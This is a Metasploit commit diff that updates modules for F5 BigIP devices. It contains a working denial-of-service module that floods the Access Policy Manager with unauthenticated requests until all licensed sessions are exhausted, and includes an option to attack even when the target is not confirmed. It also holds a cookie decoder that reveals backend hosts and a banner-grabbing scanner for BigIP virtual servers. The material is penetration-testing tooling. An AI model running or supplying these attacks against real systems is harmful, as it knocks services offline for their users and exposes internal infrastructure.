Skip to content

Commit 81a35f8

Browse files
committed
Merge pull request #1 from jvazquez-r7/pr_4940
Clean "Updates and new modules for F5 devices"
2 parents 7fb99cd + a8adcda commit 81a35f8

File tree

5 files changed

+160
-169
lines changed

5 files changed

+160
-169
lines changed

modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb

Lines changed: 39 additions & 40 deletions
Original file line numberDiff line numberDiff line change
@@ -11,14 +11,17 @@ class Metasploit3 < Msf::Auxiliary
1111

1212
def initialize(info = {})
1313
super(update_info(info,
14-
'Name' => 'F5 BigIP APM Unauthenticated Session Exhaustion Denial of Service',
14+
'Name' => 'F5 BigIP Access Policy Manager Session Exhaustion Denial of Service',
1515
'Description' => %q{
16-
An unauthenticated attacker can establish multiple connections with BigIP Access Policy Manager
17-
and exhaust all available sessions defined in customer\'s license.
18-
In the first step of BigIP APM protocol the client sends a HTTP request.
19-
The BigIP system creates a session, marks it as progress (pending) and then redirects client to access policy URI.
20-
Since BigIP allocates a new session after the first unauthenticated request and deletes the session only if an access policy timeout will be expired
21-
the attacker can exhaust all available sessions repeatedly sending initial HTTP request.
16+
This module exploits a resource exhaustion denial of service in F5 BigIP devices. An
17+
unauthenticated attacker can establish multiple connections with BigIP Access Policy
18+
Manager (APM) and exhaust all available sessions defined in customer license. In the
19+
first step of the BigIP APM negotiation the client sends a HTTP request. The BigIP
20+
system creates a session, marks it as pending and then redirects the client to an access
21+
policy URI. Since BigIP allocates a new session after the first unauthenticated request,
22+
and deletes the session only if an access policy timeout expires, the attacker can exhaust
23+
all available sessions by repeatedly sending the initial HTTP request and leaving the
24+
sessions as pending.
2225
},
2326
'Author' =>
2427
[
@@ -33,67 +36,63 @@ def initialize(info = {})
3336
'License' => MSF_LICENSE,
3437
'DefaultOptions' =>
3538
{
36-
'SSLVersion' => 'TLS1'
39+
'SSL' => true,
40+
'SSLVersion' => 'TLS1',
41+
'RPORT' => 443
3742
}
3843
))
3944

4045
register_options(
4146
[
42-
OptPort.new('RPORT', [true, 'The BigIP service port to listen on', 443]),
43-
OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),
4447
OptInt.new('RLIMIT', [true, 'The number of requests to send', 10000]),
45-
OptBool.new('IGNOREMISMATCH', [true, 'Proceed with attack only if BigIP virtual server was detected', false]),
48+
OptBool.new('FORCE', [true, 'Proceed with attack even if a BigIP virtual isn\'t detected', false])
4649
], self.class)
4750
end
4851

4952
def run
50-
# Main function
51-
rlimit = datastore['RLIMIT']
52-
proto = datastore['SSL'] ? 'https' : 'http'
53-
ignore_mismatch = datastore['IGNOREMISMATCH']
53+
limit = datastore['RLIMIT']
54+
force_attack = datastore['FORCE']
5455

55-
# Send an initial test request
5656
res = send_request_cgi('method' => 'GET', 'uri' => '/')
57-
if res
58-
server = res.headers['Server']
59-
# Simple test based on HTTP Server header to detect BigIP virtual server
60-
unless ignore_mismatch
61-
if server !~ /BIG\-IP/ && server !~ /BigIP/
62-
print_error("#{peer} - BigIP virtual server was not detected. Please check options")
63-
return
64-
end
65-
end
66-
print_good("#{peer} - Starting DoS attack")
67-
else
68-
print_error("#{peer} - Unable to connect to BigIP. Please check options")
57+
58+
unless res
59+
print_error("#{peer} - No answer from the BigIP server")
60+
return
61+
end
62+
63+
# Simple test based on HTTP Server header to detect BigIP virtual server
64+
server = res.headers['Server']
65+
unless server =~ /BIG\-IP/ || server =~ /BigIP/ || force_attack
66+
print_error("#{peer} - BigIP virtual server was not detected. Please check options")
6967
return
7068
end
7169

70+
print_status("#{peer} - Starting DoS attack")
71+
7272
# Start attack
73-
(1..rlimit).each do
73+
limit.times do |step|
74+
if step % 100 == 0
75+
print_status("#{peer} - #{step * 100 / limit}% accomplished...")
76+
end
7477
res = send_request_cgi('method' => 'GET', 'uri' => '/')
75-
if res && res.headers['Location'] == '/my.logout.php3?errorcode=14'
76-
print_good("#{peer} - The maximum number of concurrent user sessions has been reached. No new user sessions can start at this time")
77-
print_good("#{peer} - DoS attack is successful")
78+
if res && res.headers['Location'] =~ /\/my\.logout\.php3\?errorcode=14/
79+
print_good("#{peer} - DoS accomplished: The maximum number of concurrent user sessions has been reached.")
7880
return
7981
end
8082
end
8183

82-
# Check if attack is unsuccessfull
84+
# Check if attack has failed
8385
res = send_request_cgi('method' => 'GET', 'uri' => uri)
84-
if res.headers['Location'] == '/my.policy'
85-
print_status("#{peer} - DoS attack is unsuccessful. Try to increase the RLIMIT number")
86+
if res.headers['Location'] =~ /\/my.policy/
87+
print_error("#{peer} - DoS attack failed. Try to increase the RLIMIT")
8688
else
8789
print_status("#{peer} - Result is undefined. Try to manually determine DoS attack result")
8890
end
8991

9092
rescue ::Rex::ConnectionRefused
91-
print_error("#{peer} - Unable to connect to BigIP")
93+
print_error("#{peer} - Unable to connect to BigIP. Maybe BigIP 'Max In Progress Sessions Per Client IP' counter was reached")
9294
rescue ::Rex::ConnectionTimeout
93-
print_error("#{peer} - Unable to connect to BigIP. Please check options")
94-
rescue ::Errno::ECONNRESET
95-
print_error("#{peer} - The connection was reset. Probably BigIP \"Max In Progress Sessions Per Client IP\" counter was reached")
96-
print_status("#{peer} - DoS attack is unsuccessful")
95+
print_error("#{peer} - Unable to connect to BigIP.")
9796
rescue ::OpenSSL::SSL::SSLError
9897
print_error("#{peer} - SSL/TLS connection error")
9998
end

modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb

Lines changed: 6 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -82,8 +82,8 @@ def cookie_decode(cookie_value)
8282
port = nil
8383
end
8484

85-
backend[:host] = (host.nil?) ? nil : host
86-
backend[:port] = (port.nil?) ? nil : port
85+
backend[:host] = host.nil? ? nil : host
86+
backend[:port] = port.nil? ? nil : port
8787
backend
8888
end
8989

@@ -146,8 +146,11 @@ def run
146146

147147
# Reporting found backends in database
148148
unless backends.empty?
149-
report_note(host: rhost, type: "f5_load_balancer_backends", data: backends)
149+
report_note(host: rhost, type: 'f5_load_balancer_backends', data: backends)
150150
end
151+
152+
rescue ::Rex::ConnectionRefused
153+
print_error("#{peer} - Network connection error")
151154
rescue ::Rex::ConnectionError
152155
print_error("#{peer} - Network connection error")
153156
rescue ::OpenSSL::SSL::SSLError

modules/auxiliary/scanner/http/f5_bigip_http_vs_scanner.rb

Lines changed: 0 additions & 90 deletions
This file was deleted.
Lines changed: 91 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,91 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Auxiliary::Scanner
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'F5 BigIP HTTP Virtual Server Scanner',
15+
'Description' => %q{
16+
This module scans for BigIP HTTP virtual servers using banner grabbing. BigIP system uses
17+
different HTTP profiles for managing HTTP traffic and these profiles allow to customize
18+
the string used as Server HTTP header. The default values are "BigIP" or "BIG-IP" depending
19+
on the BigIP system version.
20+
},
21+
'Author' =>
22+
[
23+
'Oleg Broslavsky <ovbroslavsky[at]gmail.com>',
24+
'Nikita Oleksov <neoleksov[at]gmail.com>',
25+
'Denis Kolegov <dnkolegov[at]gmail.com>',
26+
],
27+
'License' => MSF_LICENSE,
28+
'References' =>
29+
[
30+
[ 'URL', 'https://www.owasp.org/index.php/SCG_D_BIGIP'],
31+
]
32+
))
33+
34+
register_options(
35+
[
36+
OptString.new('PORTS', [true, 'Ports to scan (e.g. 80-81,443,8080-8090)', '80,443']),
37+
OptInt.new('TIMEOUT', [true, 'The socket connect/read timeout in seconds', 1]),
38+
], self.class)
39+
40+
deregister_options('RPORT')
41+
end
42+
43+
def bigip_http?(ip, port, ssl)
44+
begin
45+
res = send_request_raw(
46+
{
47+
'method' => 'GET',
48+
'uri' => '/',
49+
'rport' => port,
50+
'ssl' => ssl,
51+
},
52+
datastore['TIMEOUT'])
53+
return false unless res
54+
server = res.headers['Server']
55+
return true if server =~ /BIG\-IP/ || server =~ /BigIP/
56+
rescue ::Rex::ConnectionRefused
57+
vprint_error("#{ip}:#{port} - Connection refused")
58+
rescue ::Rex::ConnectionError
59+
vprint_error("#{ip}:#{port} - Connection error")
60+
rescue ::OpenSSL::SSL::SSLError
61+
vprint_error("#{ip}:#{port} - SSL/TLS connection error")
62+
end
63+
64+
false
65+
end
66+
67+
def run_host(ip)
68+
ports = Rex::Socket.portspec_crack(datastore['PORTS'])
69+
70+
if ports.empty?
71+
print_error('PORTS options is invalid')
72+
return
73+
end
74+
75+
ports.each do |port|
76+
77+
unless port == 443 # Skip http check for 443
78+
if bigip_http?(ip, port, false)
79+
print_good("#{ip}:#{port} - BigIP HTTP virtual server found")
80+
next
81+
end
82+
end
83+
84+
unless port == 80 # Skip https check for 80
85+
if bigip_http?(ip, port, true)
86+
print_good("#{ip}:#{port} - BigIP HTTPS virtual server found")
87+
end
88+
end
89+
end
90+
end
91+
end

0 commit comments

Comments
 (0)